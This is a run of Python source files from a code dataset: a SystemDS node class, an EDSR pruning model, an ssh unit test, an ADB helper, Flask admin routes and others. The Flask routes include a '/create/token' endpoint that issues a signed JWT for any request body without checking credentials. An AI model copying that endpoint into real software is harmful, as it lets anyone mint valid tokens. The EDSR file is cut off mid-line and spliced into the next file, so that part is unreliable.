self._output_type == OutputType.NONE:\n return None\n else:\n raise NotImplementedError(\n \"This method should be overwritten by subclasses\")\n\n def get_lineage_trace(self) -> str:\n \"\"\"Get the lineage trace for this node.\n\n :return: Lineage trace\n \"\"\"\n if self._lineage_trace is None:\n self._script = DMLScript(self.sds_context)\n self._script.build_code(self)\n self._lineage_trace = self._script.get_lineage()\n\n return self._lineage_trace\n\n def code_line(self, var_name: str, unnamed_input_vars: Sequence[str],\n named_input_vars: Dict[str, str]) -> str:\n\n if self._brackets:\n return f'{var_name}={unnamed_input_vars[0]}[{\",\".join(unnamed_input_vars[1:])}]'\n\n if self.operation in BINARY_OPERATIONS:\n assert len(\n named_input_vars) == 0, 'Named parameters can not be used with binary operations'\n assert len(\n unnamed_input_vars) == 2, 'Binary Operations need exactly two input variables'\n return f'{var_name}={unnamed_input_vars[0]}{self.operation}{unnamed_input_vars[1]}'\n\n inputs_comma_sep = create_params_string(\n unnamed_input_vars, named_input_vars)\n\n if self.output_type == OutputType.NONE:\n return f'{self.operation}({inputs_comma_sep});'\n else:\n return f'{var_name}={self.operation}({inputs_comma_sep});'\n\n def pass_python_data_to_prepared_script(self, jvm: JVMView, var_name: str, prepared_script: JavaObject) -> None:\n raise NotImplementedError(\n 'Operation node has no python local data. Missing implementation in derived class?')\n\n def write(self, destination: str, format: str = \"binary\", **kwargs: Dict[str, VALID_INPUT_TYPES]) -> 'OperationNode':\n \"\"\" Write input to disk. \n The written format is easily read by SystemDSContext.read(). \n There is no return on write.\n\n :param destination: The location which the file is stored. Defaulting to HDFS paths if available.\n :param format: The format which the file is saved in. Default is binary to improve SystemDS reading times.\n :param kwargs: Contains multiple extra specific arguments, can be seen at http://apache.github.io/systemds/site/dml-language-reference#readwrite-built-in-functions\n \"\"\"\n unnamed_inputs = [self, f'\"{destination}\"']\n named_parameters = {\"format\": f'\"{format}\"'}\n named_parameters.update(kwargs)\n return OperationNode(self.sds_context, 'write', unnamed_inputs, named_parameters, output_type=OutputType.NONE)\n\n def print(self, **kwargs: Dict[str, VALID_INPUT_TYPES]) -> 'OperationNode':\n \"\"\" Prints the given Operation Node.\n There is no return on calling.\n To get the returned string look at the stdout of SystemDSContext.\n \"\"\"\n return OperationNode(self.sds_context, 'print', [self], kwargs, output_type=OutputType.NONE)\n","sub_path":"src/main/python/systemds/operator/operation_node.py","file_name":"operation_node.py","file_ext":"py","file_size_in_byte":8128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"147050070","text":"from xmumodel.model import Model\nimport tensorlayer.layers as tl\nimport tensorflow as tf\nfrom xmuutil import utils\nfrom xmuutil.scalelayer import ScaleLayer\nfrom xmuutil.relulayer import ReluLayer\nfrom xmuutil.transposed_conv2d_layer import TransposedConv2dLayer\nfrom tqdm import tqdm\nimport shutil\nimport os\nimport numpy as np\n\"\"\"\nEDSR upsample-layer\nsubpixel -> deconv \n\"\"\"\nclass EDSR_P(Model):\n def buildModel(self):\n print(\"Building EDSR...\")\n #正则化最初的输入\n self.norm_input = utils.normalize_color_tf(self.input)\n self.norm_target = utils.normalize_color_tf(self.target)\n\n #input layer\n x = tl.InputLayer(self.norm_input, name='inputlayer')\n\n # One convolution before res blocks and to convert to required feature depth\n x = tl.Conv2d(x, self.feature_size, [3, 3], name='c')\n\n # Store the output of the first convolution to add later\n conv_1 = x\n\n scaling_factor = 0.1\n # Add the residual blocks to the model\n for i in range(self.num_layers):\n x = self.__resBlock(x, self.feature_size, scale=scaling_factor,layer=i)\n # One more convolution, and then we add the output of our first conv layer\n x = tl.Conv2d(x, self.feature_size, [3, 3], act = None, name = 'm1')\n x = tl.ElementwiseLayer([conv_1,x],tf.add, name='res_add')\n\n x = TransposedConv2dLayer(x, self.feature_size, [5,5], [2,2], name='deconv_1')\n x = tl.Conv2d(x, self.feature_size, [3, 3], act=tf.nn.relu, name='deconv_conv_1')\n x = TransposedConv2dLayer(x, self.feature_size, [5, 5], [2, 2], name='deconv_2')\n if self.scale==8:\n x = tl.Conv2d(x, self.feature_size, [3, 3], act=tf.nn.relu, name='deconv_conv_2')\n x = TransposedConv2dLayer(x, self.feature_size, [5, 5], [2, 2], name='deconv_3')\n\n # One final convolution on the upsampling output\n output = tl.Conv2d(x,self.output_channels,[1,1],act=tf.nn.relu, name='lastLayer')\n # output = tl.Conv2d(x, self.output_channels, [1, 1], act=None, name='lastLayer')\n self.output = output.outputs\n self.output = tf.clip_by_value(output.outputs, 0.0, 1.0)\n\n self.cacuLoss()\n\n # Tensorflow graph setup... session, saver, etc.\n session_conf = tf.ConfigProto(allow_soft_placement=True,log_device_placement=False)\n session_conf.gpu_options.allocator_type = 'BFC'\n self.sess = tf.Session(config=session_conf)\n self.saver = tf.train.Saver(var_list = tf.trainable_variables(), max_to_keep=100)\n print(\"Done building!\")\n\n def __resBlock(self, x, channels = 64, kernel_size = (3, 3), scale = 1.0,layer = 0):\n nn = ReluLayer(x, name='res%d/ru1'%(layer))\n nn = tl.Conv2d(nn, channels-self.prunedlist[layer], kernel_size, act=tf.nn.relu, name='res%d/c1'%(layer))\n nn = tl.Conv2d(nn, channels, kernel_size, act=None, name='res%d/c2'%(layer))\n nn = ScaleLayer(nn,scale, name='res%d/scale'%(layer))\n n = tl.ElementwiseLayer([x,nn],tf.add, name='res%d/res_add'%(layer))\n return n\n\n def cacuLoss(self):\n self.loss = tf.reduce_mean(tf.losses.absolute_difference(self.norm_target, self.output))\n PSNR = utils.psnr_tf(self.norm_target, self.output, is_norm=True)\n \n \n\n # Scalar to keep track for loss\n summary_loss = tf.summary.scalar(\"loss\", self.loss)\n summary_psnr = tf.summary.scalar(\"PSNR\", PSNR)\n\n streaming_loss, self.streaming_loss_update = tf.contrib.metrics.streaming_mean(self.loss)\n streaming_loss_scalar = tf.summary.scalar('loss',streaming_loss)\n\n streaming_psnr, self.streaming_psnr_update = tf.contrib.metrics.streaming_mean(PSNR)\n streaming_psnr_scalar = tf.summary.scalar('PSNR',streaming_psnr)\n\n self.train_merge = tf.summary.merge([summary_loss,summary_psnr])\n self.test_merge = tf.summary.merge([streaming_loss_scalar,streaming_psnr_scalar])\n\n def train(self,batch_size= 10, iterations=1000, lr_init=1e-4, lr_decay=0.5, decay_every=2e5,\n save_dir=\"saved_models\",reuse=False,reuse_dir=None,reuse_step=None, log_dir=\"log\"):\n #create the save directory if not exist\n if os.path.exists(save_dir):\n shutil.rmtree(save_dir)\n if os.path.exists(log_dir):\n shutil.rmtree(log_dir)\n os.mkdir(log_dir)\n #Make new save directory\n os.mkdir(save_dir)\n\n with tf.variable_scope('learning_rate'):\n lr_v = tf.Variable(lr_init, trainable=False)\n # Using adam optimizer as mentioned in the paper\n optimizer = tf.train.AdamOptimizer(learning_rate=lr_v)\n # optimizer = tf.train.RMSPropOptimizer(lr_v, decay=0.95, momentum=0.9, epsilon=1e-8)\n # This is the train operation for our objective\n self.train_op = optimizer.compute_gradients(self.loss)\n #self.train_op = optimizer.apply_gradients(gradient)\n\t#self.train_op = optimizer.minimize(self.loss)\n\n\n #Operation to initialize all variables\n init = tf.global_variables_initializer()\n print(\"Begin training...\")\n with self.sess as sess:\n #Initialize all variables\n sess.run(init)\n if reuse:\n self.resume(reuse_dir, global_step=reuse_step)\n\n #create summary writer for train\n train_writer = tf.summary.FileWriter(log_dir+\"/train\",sess.graph)\n\n #If we're using a test set, include another summary writer for that\n test_writer = tf.summary.FileWriter(log_dir+\"/test\",sess.graph)\n test_feed = []\n while True:\n test_x,test_y = self.data.get_test_set(batch_size)\n if test_x!=None and test_y!=None:\n test_feed.append({\n self.input:test_x,\n self.target:test_y\n })\n else:\n break\n\n sess.run(tf.assign(lr_v, lr_init))\n #This is our training loop\n grad_sum = []\n aim = []\n feature_size_list = []\n candidate = []\n for index in range(16):\n feature_size_list.append(self.feature_size-self.prunedlist[index])\n grad_sum.append(np.zeros(shape=(3,3,self.feature_size, feature_size_list[index])))\n aim.append(np.zeros(shape=(feature_size_list[index])))\n candidate.append([])\n for i in tqdm(range(iterations)):\n if i != 0 and (i % decay_every == 0):\n new_lr_decay = lr_decay ** (i // decay_every)\n sess.run(tf.assign(lr_v, lr_init * new_lr_decay))\n #Use the data function we were passed to get a batch every iteration\n x,y = self.data.get_batch(batch_size)\n #Create feed dictionary for the batch\n feed = {\n self.input:x,\n self.target:y\n }\n #Run the train op and calculate the train summary\n summary,gradients = sess.run([self.train_merge,self.train_op],feed)\n for index,element in enumerate(gradients):\n real_index = int((index-2)/4)\n \n if(index>=2 and index%4==2 and index<63):\n grad_sum[real_index] = grad_sum[real_index]+np.fabs(np.array(element[0])*np.array(element[1]))/(feature_size_list[real_index])\n tmp = np.sum(np.sum(np.sum(grad_sum[real_index],0),0),0)\n aim[real_index] = aim[real_index]+tmp/np.linalg.norm(tmp, ord=2)\n\n #Write train summary for this step\n train_writer.add_summary(summary,i)\n\n # Test every 500 iterations; Save our trained model\n if (i!=0 and i % 500 == 0) or (i+1 == iterations):\n sess.run(tf.local_variables_initializer())\n for j in range(len(test_feed)):\n # sess.run([self.streaming_loss_update],feed_dict=test_feed[j])\n sess.run([self.streaming_loss_update, self.streaming_psnr_update], feed_dict=test_feed[j])\n streaming_summ = sess.run(self.test_merge)\n # Write test summary\n test_writer.add_summary(streaming_summ, i)\n\n #self.save(save_dir, i)\n \n print(\"start_pruning\")\n #aim = np.sort(np.array(aim).argsort(None)[0:self.prunesize])\n res = np.array(aim)\n one_dim = np.array([])\n for index in range(0,16):\n one_dim = np.append(one_dim,res[index])\n res = np.argsort(one_dim,axis=None)\n res = res[:self.prunesize]\n aim = np.sort(res)\n current = 0\n line = 0\n for index in range(0,16):\n line = line + feature_size_list[index]\n for aim_index,ele in enumerate(aim):\n if(ele>=current and ele %s\" % (srcfile, dstfile))\n\n\ndef getFileName(dir, type=[], fileList=[]):\n if os.path.isfile(dir):\n fp, fn = os.path.split(dir)\n if fn[0] != \".\" and dir.find(\".git\") == -1:\n fileList.append(dir)\n elif os.path.isdir(dir):\n for s in os.listdir(dir):\n newDir = os.path.join(dir, s)\n getFileName(newDir, type=type, fileList=fileList)\n return fileList\n\n\ndef getDataStr():\n today = datetime.datetime.now()\n ISOFORMAT = '%Y%m%d'\n return today.strftime(ISOFORMAT)[2:] + \"%s\" % today.hour + \"%s\" % today.second\n\n\nimport json\n\nif __name__ == '__main__':\n ob = 0\n with open(\"data.json\", 'r') as f:\n ob = json.load(f)\n\n beifengFile = \"/Users/admin/Documents/ljworkspace/local/js/bf/\" + str(ob['id'])\n fil = getFileName(gitFile)\n for f in fil:\n copyfile(f, f.replace(gitFile, beifengFile))\n ob['id'] = ob['id']+1\n with open(\"data.json\", 'w') as f:\n f.write(json.dumps(ob))\n","sub_path":"unit/gittosvn/makeVersionformGit.py","file_name":"makeVersionformGit.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"537462129","text":"# -*- coding: utf-8 -*- #\n# Copyright 2018 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.command_lib.cloud_shell import util\nfrom googlecloudsdk.command_lib.util.ssh import ssh\nfrom googlecloudsdk.core import properties\nfrom tests.lib import cli_test_base\nfrom tests.lib import sdk_test_base\nfrom tests.lib import test_case\nimport mock\n\n\nclass SshTest(cli_test_base.CliTestBase, sdk_test_base.WithFakeAuth):\n\n def SetUp(self):\n self.mockConnection()\n self.ssh_init = self.StartObjectPatch(\n ssh.SSHCommand, \"__init__\", return_value=None, autospec=True)\n self.ssh_build = self.StartObjectPatch(\n ssh.SSHCommand, \"Build\", autospec=True, return_value=\"\")\n self.ssh_run = self.StartObjectPatch(\n ssh.SSHCommand, \"Run\", autospec=True, return_value=0)\n\n def testNoArguments(self):\n self.mockConnection(user=\"my-user\", host=\"my-host\", port=123)\n self.Run(\"alpha cloud-shell ssh\")\n self.ssh_init.assert_called_once_with(\n mock.ANY,\n remote=ssh.Remote(host=\"my-host\", user=\"my-user\"),\n port=\"123\",\n identity_file=None,\n remote_command=[\"DEVSHELL_PROJECT_ID=fake-project\", \"bash -l\"],\n extra_flags=None,\n tty=True,\n options={\"StrictHostKeyChecking\": \"no\"})\n\n def testNoProject(self):\n self.mockConnection(user=\"my-user\", host=\"my-host\", port=123)\n prop = properties.FromString(\"project\")\n properties.PersistProperty(prop, None, scope=properties.Scope.USER)\n self.Run(\"alpha cloud-shell ssh\")\n self.ssh_init.assert_called_once_with(\n mock.ANY,\n remote=ssh.Remote(host=\"my-host\", user=\"my-user\"),\n port=\"123\",\n identity_file=None,\n remote_command=[\"bash -l\"],\n extra_flags=None,\n tty=True,\n options={\"StrictHostKeyChecking\": \"no\"})\n\n def testCommand(self):\n self.mockConnection(user=\"my-user\", host=\"my-host\", port=123)\n self.Run(\"alpha cloud-shell ssh --command=ls\")\n self.ssh_init.assert_called_once_with(\n mock.ANY,\n remote=ssh.Remote(host=\"my-host\", user=\"my-user\"),\n port=\"123\",\n identity_file=None,\n remote_command=[\"DEVSHELL_PROJECT_ID=fake-project\", \"ls\"],\n extra_flags=None,\n tty=False,\n options={\"StrictHostKeyChecking\": \"no\"})\n\n def testDryRun(self):\n self.mockConnection(user=\"my-user\", host=\"my-host\", port=123)\n self.Run(\"alpha cloud-shell ssh --dry-run\")\n self.ssh_run.assert_not_called()\n\n def testSshFlag(self):\n self.mockConnection(user=\"my-user\", host=\"my-host\", port=123)\n self.Run(\n \"alpha cloud-shell ssh --ssh-flag=-someFlag --ssh-flag=anotherFlag\")\n self.ssh_init.assert_called_once_with(\n mock.ANY,\n remote=ssh.Remote(host=\"my-host\", user=\"my-user\"),\n port=\"123\",\n identity_file=None,\n remote_command=[\"DEVSHELL_PROJECT_ID=fake-project\", \"bash -l\"],\n extra_flags=[\"-someFlag\", \"anotherFlag\"],\n tty=True,\n options={\"StrictHostKeyChecking\": \"no\"})\n\n def mockConnection(self, user=\"some-user\", host=\"some-host\", port=6000):\n self.StartPatch(\n \"googlecloudsdk.command_lib.cloud_shell.util.PrepareEnvironment\",\n return_value=util.ConnectionInfo(\n ssh_env=None, user=user, host=host, port=port, key=None))\n\n\nif __name__ == \"__main__\":\n test_case.main()\n","sub_path":"google-cloud-sdk/lib/tests/unit/surface/cloud_shell/ssh_test.py","file_name":"ssh_test.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"400140145","text":"import json\nimport os.path as path\nimport socket\nimport subprocess as sp\nimport shlex\n\nimport ipaddress\n\nclass ADB:\n def __init__(self):\n self.connect = None\n self.err_count = 0\n\n config_file = open(\"adb.json\", \"r\")\n self.config = json.load(config_file)\n config_file.close()\n\n self.parse_config()\n\n def validate_adb_path(self):\n loc = path.abspath(self.config[\"location\"])\n print(\"Got valid path \\\"{0}\\\".\".format(self.config[\"location\"]))\n if path.exists(loc):\n if path.isfile(loc):\n if \"adb\" not in path.split(loc)[1]:\n print(\"ERROR: \\\"{0}\\\" not a valid \\\"adb\\\"\".format(loc))\n self.err_count += 1\n return False\n print(\"Found \\\"adb\\\" at \\\"{0}\\\"\".format(loc))\n return True, loc\n else:\n print(\"ERROR: \\\"{0}\\\" is not a file.\".format(loc))\n self.err_count += 1\n return False\n else:\n print(\"ERROR: \\\"{0}\\\" does not exist.\".format(loc))\n self.err_count += 1\n return False\n\n def validate_adb(self):\n check = sp.Popen(shlex.split(\"{0} devices\".format(self.config[\"location\"])), stdout=sp.PIPE, stderr=sp.PIPE)\n out, err = check.communicate()\n out_lines = \"\\n\".join(out.decode().strip().replace(\"List of devices attached\", \"\").splitlines())\n if check.returncode == 0:\n if out_lines == \"\":\n print(\"ERROR: No devices found in ADB test, continuing for now...\")\n return True\n else:\n return False\n\n # def validate_ip(self):\n # try:\n # socket.inet_aton(self.config[\"ip\"])\n # return True\n # except socket.error:\n # return False\n\n def validate_port(self):\n try:\n port = int(self.config[\"port\"])\n if 1024 <= port and port <= 49151:\n return [True, None]\n else:\n return [False, True]\n except ValueError as ve:\n print(ve)\n return [False, False]\n\n def bind(self):\n cmd = \"{0} forward tcp:{1} tcp:{1}\".format(self.config[\"location\"], int(self.config[\"port\"]))\n self.connect = sp.Popen(shlex.split(cmd), stdout=sp.PIPE, stderr=sp.PIPE)\n out, err = self.connect.communicate()\n if self.connect.returncode == 0:\n print(\"Port {0} should be forwarded correctly over ADB.\".format(self.config[\"port\"]))\n else:\n print(\"ERROR: Could not forwarding TCP port {0} through ADB.\".format(self.config[\"port\"]))\n print(err.decode().strip())\n\n def parse_config(self):\n print(\"Parsing config file...\")\n if self.config[\"location\"] == \"None\":\n print(\"ERROR: Location for \\\"adb\\\" is not in the config.\")\n self.err_count += 1\n else:\n print(\"Validating ADB file path...\")\n adb_path_valid = self.validate_adb_path()\n if adb_path_valid:\n print(\"ADB file path is valid, testing ADB executable...\")\n adb_valid = self.validate_adb()\n if adb_valid:\n print(\"ADB executable is valid.\")\n else:\n print(\"ERROR: ADB executable is not valid.\")\n\n # if self.config[\"ip\"] == \"None\":\n # print(\"No IP address found in the config.\")\n # self.err_count += 1\n # else:\n # print(\"Validating IP address...\")\n # self.ip_valid = self.validate_ip()\n # if self.ip_valid:\n # print(\"IP Address {0} is valid.\".format(self.config[\"ip\"]))\n # else:\n # print(\"IP Address {0} is not valid.\".format(self.config[\"ip\"]))\n # self.err_count += 1\n\n if self.config[\"port\"] == \"None\":\n print(\"ERROR: Port not specified in the config.\")\n self.err_count += 1\n else:\n port_valid = self.validate_port()\n if port_valid[0]:\n print(\"Port {0} is valid.\".format(self.config[\"port\"]))\n else:\n self.err_count += 1\n if port_valid[1]:\n print(\"ERROR: Port {0} is not within the range of 1024 to 49151.\".format(self.config[\"port\"]))\n else:\n print(\"ERROR: Port {0} is not an integer.\".format(self.config[\"port\"]))\n\n if self.err_count == 0:\n print(\"Config is as follows: \")\n for k, v in self.config.items():\n print(\"{0}: {1}\".format(k, v))\n self.bind()\n else:\n print(\"Errors encountered when parsing the config. Please fix them and try running this program again.\")\n\n\nif __name__ == '__main__':\n my_adb = ADB()\n","sub_path":"adb_handler.py","file_name":"adb_handler.py","file_ext":"py","file_size_in_byte":4833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"51998405","text":"import numpy as np\n\n\ndef distanceBetweenLeaves(n, adjList):\n '''\n Given a weighted tree with n leaves, find the pair-wise distance between all n\n leaves of the tree. Expects same weight for in/out edge between some node i and\n j.\n Input:\n 4\n 0->4:11\n 1->4:2\n 2->5:6\n 3->5:7\n 4->0:11\n 4->1:2\n 4->5:4\n 5->4:4\n 5->3:7\n 5->2:6\n Output:\n 0 13 21 22\n 13 0 12 13\n 21 12 0 13\n 22 13 13 0\n '''\n n = int(n)\n inOutCount = dict()\n # count in/out edges; all 1-in-out nodes are leaves\n for edge, weight in adjList.iteritems():\n v = edge[0]\n w = edge[1]\n if v in inOutCount:\n inOutCount[v][1] += 1\n else:\n inOutCount[v] = [0, 1]\n\n if w in inOutCount:\n inOutCount[w][0] += 1\n else:\n inOutCount[w] = [1, 0]\n\n # find leaves\n leaves = []\n for node in inOutCount:\n if inOutCount[node] == [1, 1]:\n leaves.append(node)\n\n # traverse from leaf v to leaf w and save distance\n\n\ndef parseWeightedAdjacencyList(adjList):\n '''\n Returns an undirected tree given an adjacency list where {key: value} is\n {edge: weight}.\n Input:\n ['0->4:11',\n '1->4:2',\n '2->5:6',\n '3->5:7',\n '4->0:11',\n '4->1:2',\n '4->5:4',\n '5->4:4',\n '5->3:7',\n '5->2:6']\n Output:\n {(5, 4): 4, (4, 5): 4, (5, 2): 6, (1, 4): 2, (5, 3): 7, (0, 4): 11, (2, 5): 6,\n (3, 5): 7, (4, 1): 2, (4, 0): 11}\n '''\n tree = dict()\n for line in adjList:\n entry = line.replace('->', ' ').replace(':', ' ').split()\n entry = [int(x) for x in entry]\n tree[(entry[0], entry[1])] = entry[2]\n return tree\n\n\ndef computeLimbLength(j, D):\n '''\n Given leaf j and distance matrix D, computes the limb length of j using the Limb\n Length Theorem.\n Input:\n 4\n 1\n 0 13 21 22\n 13 0 12 13\n 21 12 0 13\n 22 13 13 0\n Output:\n 2\n '''\n j = int(j)\n limbLength = float('inf')\n for i in range(D.shape[0]):\n for k in range(D.shape[0]):\n if i != j != k:\n # limb length theorem\n dist = (D[i, j] + D[j, k] - D[i, k]) / 2\n if limbLength > dist:\n limbLength = dist\n return limbLength\n\n\ndef parse2DMatrix(D):\n '''\n Parse a 2-d matrix and return as numpy array.\n Input:\n 0 13 21 22\n 13 0 12 13\n 21 12 0 13\n 22 13 13 0\n Output:\n '''\n return np.array([map(int, line.split()) for line in D])\n","sub_path":"bin/ch7functions.py","file_name":"ch7functions.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"16508411","text":"from fbx import *\nfrom utils import *\n\nclass LightParser(object):\n def __init__(self):\n pass\n\n def parse(self, node, lightData):\n light = node.GetLight()\n\n lightTypeData = {}\n\n lightTypeData[\"intensity\"] = light.Intensity.Get() / 100\n\n lightTypeData[\"color\"] = addVector3Data([], light.Color.Get())\n\n type = light.LightType.Get()\n\n ePoint = 0\n eDirectional = 1\n eSpot = 2\n eArea = 3\n eVolume = 4\n\n if type == ePoint:\n lightData[\"type\"] = \"point\"\n self._addAttenuationData(lightTypeData, light)\n elif type == eDirectional:\n lightData[\"type\"] = \"directional\"\n elif type == eSpot:\n print (\"not support spot light\")\n else:\n lightData[\"type\"] = \"ambient\"\n\n lightData[lightData[\"type\"]] = lightTypeData\n\n def _addAttenuationData(self, lightData, light):\n decayType = light.DecayType.Get()\n\n eLinear = 0\n eCubic = 1\n eQuadratic = 2\n eNone = 3\n\n if light.EnableFarAttenuation.Get():\n lightData[\"range\"] = light.FarAttenuationEnd.Get()\n\n if decayType == eLinear:\n lightData[\"linearAttenuation\"] = 1\n elif decayType == eCubic:\n # OpenGL doesn't support cubicU( so use quadratic\n lightData[\"quadraticAttenuation\"] = 1\n elif decayType == eQuadratic:\n lightData[\"quadraticAttenuation\"] = 1\n elif decayType == eNone:\n if light.EnableFarAttenuation.Get():\n raise AssertionError(\"shouldn't EnableFarAttenuation when DecayType == eNone\")\n\n lightData[\"constantAttenuation\"] = 1\n","sub_path":"tool/converter/src/fbx/python/LightParser.py","file_name":"LightParser.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"170837866","text":"import requests\nfrom flask import request, jsonify\nfrom flask_jwt_simple import JWTManager, create_jwt, get_jwt\nfrom sqlalchemy import desc\nfrom utils import APIException, check_params, validation_link, update_table, sha256, role_jwt_required\nfrom models import db, Users, Profiles, Tournaments, Swaps, Flights, Buy_ins, Transactions, Coins\nfrom datetime import datetime\nfrom populate_database import run_seeds\n\ndef attach(app):\n\n\n @app.route('/populate_database')\n @role_jwt_required(['admin'])\n def populate():\n run_seeds()\n return 'Seeds ran!'\n\n\n\n\n @app.route('/create/token', methods=['POST'])\n def create_token():\n return jsonify( create_jwt(request.get_json()) ), 200\n\n\n\n\n @app.route('/tournaments', methods=['POST'])\n def add_tournament():\n body = request.get_json()\n db.session.add(Tournaments(\n name = body['name'],\n address = body['address'],\n start_at = datetime( *body['start_at'] ),\n end_at = datetime( *body['end_at'] ),\n longitude = None,\n latitude = None\n ))\n db.session.commit()\n search = {\n 'name': body['name'],\n 'start_at': datetime( *body['start_at'] )\n }\n return jsonify(Tournaments.query.filter_by(**search).first().serialize()), 200\n\n\n\n\n @app.route('/flights/')\n def get_flights(id):\n if id == 'all':\n return jsonify([x.serialize() for x in Flights.query.all()])\n\n if id.isnumeric():\n flight = Flights.query.get(int(id))\n if flight is None:\n raise APIException('Flight not found', 404)\n return jsonify(flight.serialize())\n \n return jsonify({'message':'Invalid id'})\n\n\n\n\n @app.route('/flights', methods=['POST'])\n def create_flight():\n body = request.get_json()\n db.session.add(Flights(\n tournament_id = body['tournament_id'],\n start_at = datetime( *body['start_at'] ),\n end_at = datetime( *body['end_at'] ),\n day = body['day']\n ))\n db.session.commit()\n search = {\n 'tournament_id': body['tournament_id'],\n 'start_at': datetime(*body['start_at']),\n 'end_at': datetime(*body['end_at']),\n 'day': body['day']\n }\n return jsonify(Flights.query.filter_by(**search).first().serialize()), 200\n\n\n\n\n @app.route('/buy_ins/')\n def get_buyins(id):\n if id == 'all':\n return jsonify([x.serialize() for x in Buy_ins.query.all()])\n return jsonify(Buy_ins.query.get(int(id)).serialize())\n\n\n\n\n @app.route('/flights/', methods=['DELETE'])\n @role_jwt_required(['admin'])\n def delete_flight(user_id, id):\n db.session.delete( Flights.query.get(id) )\n db.session.commit()\n return jsonify({'message':'Flight deleted'}), 200\n\n\n\n\n @app.route('/tournaments/', methods=['DELETE'])\n @role_jwt_required(['admin'])\n def delete_tournament(user_id, id):\n db.session.delete( Tournaments.query.get(id) )\n db.session.commit()\n return jsonify({'message':'Tournament deleted'}), 200\n\n\n\n\n @app.route('/buy_ins/', methods=['DELETE'])\n @role_jwt_required(['admin'])\n def delete_buy_in(user_id, id):\n db.session.delete( Buy_ins.query.get(id) )\n db.session.commit()\n return jsonify({'message':'Buy in deleted'}), 200\n\n\n\n\n @app.route('/swaps', methods=['DELETE'])\n @role_jwt_required(['admin'])\n def delete_swap(user_id):\n body = request.get_json()\n db.session.delete( Swaps.query.get(body['sender_id'], body['recipient_id'], body['tournament_id']) )\n db.session.commit()\n return jsonify({'message':'Swap deleted'}), 200\n\n\n\n\n @app.route('/devices/', methods=['DELETE'])\n @role_jwt_required(['admin'])\n def delete_device(user_id, id):\n body = request.get_json()\n db.session.delete()\n db.session.commit()\n return jsonify({'message':'Device deleted'})\n\n\n\n\n @app.route('/swaps/all', methods=['GET'])\n def get_swaps():\n\n return jsonify([x.serialize() for x in Swaps.query.all()])\n\n\n\n\n return app","sub_path":"src/methods/admin_methods.py","file_name":"admin_methods.py","file_ext":"py","file_size_in_byte":4238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"574289902","text":"import pandas as pd\n\n\nclass ProfileGenerator:\n\n def __init__(self, filename, outputfile):\n self.filename = filename\n self.outputfile = outputfile\n\n def remove_ex_columns(self):\n df = pd.read_csv(self.filename, low_memory=False).drop(\n columns=['employee_name', 'business_unit', 'functional_unit', 'department', 'supervisor'])\n return df\n\n def get_dataframe(self, filename):\n df = pd.read_csv(filename)\n return df\n\n def append_to_end(self, filename):\n self.filename = filename\n try:\n\n with open(self.outputfile, 'a') as csvfile:\n df = self.remove_ex_columns()\n df.to_csv(csvfile, header=False, index=False)\n except Exception as e:\n raise e\n\n def copy_to_profile_file(self):\n \"\"\"\n run just first time to create basic profile for user\n output generate file as outputfile\n :return:\n \"\"\"\n df = self.remove_ex_columns()\n try:\n df.to_csv(self.outputfile, index=False)\n except Exception as e:\n raise e\n\n def reindex_file(self):\n \"\"\"\n index file from zero to ...\n :return:\n \"\"\"\n try:\n df = pd.read_csv(self.outputfile)\n df.to_csv(self.outputfile)\n except Exception as e:\n raise e\n\n\nif __name__ == \"__main__\":\n pg = ProfileGenerator('2010-01.csv', 'UserProfile.csv')\n # pg.copy_to_profile_file()\n\n # data = ['2010-02.csv', '2010-03.csv', '2010-04.csv', '2010-05.csv', '2010-06.csv']\n # for file in data:\n # pg.append_to_end(file)\n","sub_path":"UserProfile/BasicUserProfile.py","file_name":"BasicUserProfile.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"429316673","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats as stats\nimport cvxpy as cvx\n\n\nplt.style.use(['dark_background', 'ggplot'])\n\n\n#I have choosed these four companies from S&P500 index list for this project which is Smart Beta and Portfolio Optimization\n\nstart = '2015-07-01'\nend = '2018-11-30'\ntickers = ['AAPL','GOOGL','AMZN','FB']\nopenn = pd.read_csv('SP500_open.csv',index_col ='Date',parse_dates=True,na_values=\" NaN\").loc[start:end,tickers]\nhigh = pd.read_csv('SP500_high.csv',index_col ='Date',parse_dates=True,na_values=\" NaN\").loc[start:end,tickers]\nlow = pd.read_csv('SP500_low.csv',index_col ='Date',parse_dates=True,na_values=\" NaN\").loc[start:end,tickers]\nclose = pd.read_csv('SP500_close.csv',index_col ='Date',parse_dates=True,na_values=\" NaN\").loc[start:end,tickers]\nvolume = pd.read_csv('SP500_volume.csv',index_col ='Date',parse_dates=True,na_values=\" NaN\").loc[start:end,tickers]\n\n\n#Part 1: Smart Beta Portfolio\n\n\ndef generate_dollar_volume_weights(close, volume):\n\n assert close.index.equals(volume.index)\n assert close.columns.equals(volume.columns)\n \n x = close * volume\n y = np.sum(x,axis=1)\n \n dollar_volume_weights = x.div(y,axis=0)\n\n return dollar_volume_weights\n\nindex_weights = generate_dollar_volume_weights(close=close, volume=volume)\n\ndef calculate_dividend_weights(dividends):\n\n x = np.cumsum(dividends)\n y = 